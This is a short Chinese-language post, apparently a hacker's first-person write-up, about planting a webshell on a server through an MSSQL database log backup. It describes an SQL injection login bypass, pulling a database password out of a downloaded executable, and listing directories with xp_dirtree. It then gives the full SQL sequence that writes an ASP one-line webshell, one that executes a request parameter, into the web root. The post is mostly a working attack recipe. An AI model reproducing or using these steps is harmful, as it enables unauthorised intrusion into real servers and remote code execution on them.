利用log备份得到webshell

经历：通过 ' or ''=' 进入，下载回来一个exe文件的报名器，用ultraedit得到其中的mssql连接密码，是dbowner权限 ，可以远程连接，使用xp_dirtree 'd:/',1,1 得到其web目录，在网上查得一种 log备份得到webshell的技巧

alter database xxxx set RECOVERY FULL
create table cmd (a image)
backup log xxxx to disk = 'd:/web/1.asp' with init
insert into cmd (a) values ('<%If Request("k")<>"" Then Execute(Request("k"))%>')
backup log xxxx to disk = 'd:/web/2.asp'

由于数据库使用时间很长了，log文件很大，执行需要很长时间

之后访问2.asp，删除1.asp，不过，如果目标盘上空间不够，备份就成问题了。